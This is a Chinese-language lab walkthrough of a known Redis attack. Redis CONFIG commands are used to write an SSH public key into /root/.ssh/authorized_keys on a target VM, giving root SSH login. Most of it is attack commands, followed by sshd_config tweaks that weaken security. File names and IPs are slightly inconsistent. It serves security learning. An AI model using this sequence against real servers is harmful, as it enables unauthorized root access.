关于Redis漏洞的详解及写shell、getshell的利用请出示门票:传送门
利用原理
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以直接使用对应的私钥登录目标服务器。
利用
实验场景
Redis服务器(靶机):Ubuntu 16.4 ----- 192.168.101.46
Redis客户机(攻击机):Ubuntu 16.4 ----- 192.168.101.47
一、在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空
ssh-keygen –t rsa
二、进入/root/.ssh目录: cd /root/.ssh , 讲生成的公钥保存到1.txt(名字随意)
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
三、链接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)
$ cat 1.txt | redis-cli -h 10.10.10.135 -x set crack
四、通过客户端远程登陆目标靶机的Redis服务
使用 CONFIG GET dir 命令得到Redis备份的路径
redis-cli -h 10.10.10.135
CONFIG GET dir
更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys
CONFIG SET dbfilename authorized_keys
检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出
CONFIG GET dbfilename
save
exit
靶机服务器上可以看到文件已被写入
五、在攻击机上使用SSH免密登录靶机
ssh -i id_rsa [ip]
踩坑记录
- 靶机服务端关于ssh的配置
vim /etc/ssh/sshd_config
PermitRootLogin yes #允许root登录
PermitEmptyPasswords yes #允许空密码登录
PasswordAuthentication yes #设置是否使用口令验证。
PasswordAuthentication no //yes改为no
RSAAuthentication yes #去掉前面的注释
PubkeyAuthentication yes #去掉前面的注释
AuthorizedKeysFile .ssh/authorized_keys #去掉前面的注释
-
cd /root/.ssh/
bash: cd: /root/.ssh/: No such file or directory
由于本机没有用root登陆过
解决办法:
用root用户登录,执行下ssh操作,就能自动生成
ssh localhost ----> yes ----> 输入password
-
authorized_keys
该文件名不要打错 -
redis服务端要以root权限运行
GOT IT!
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~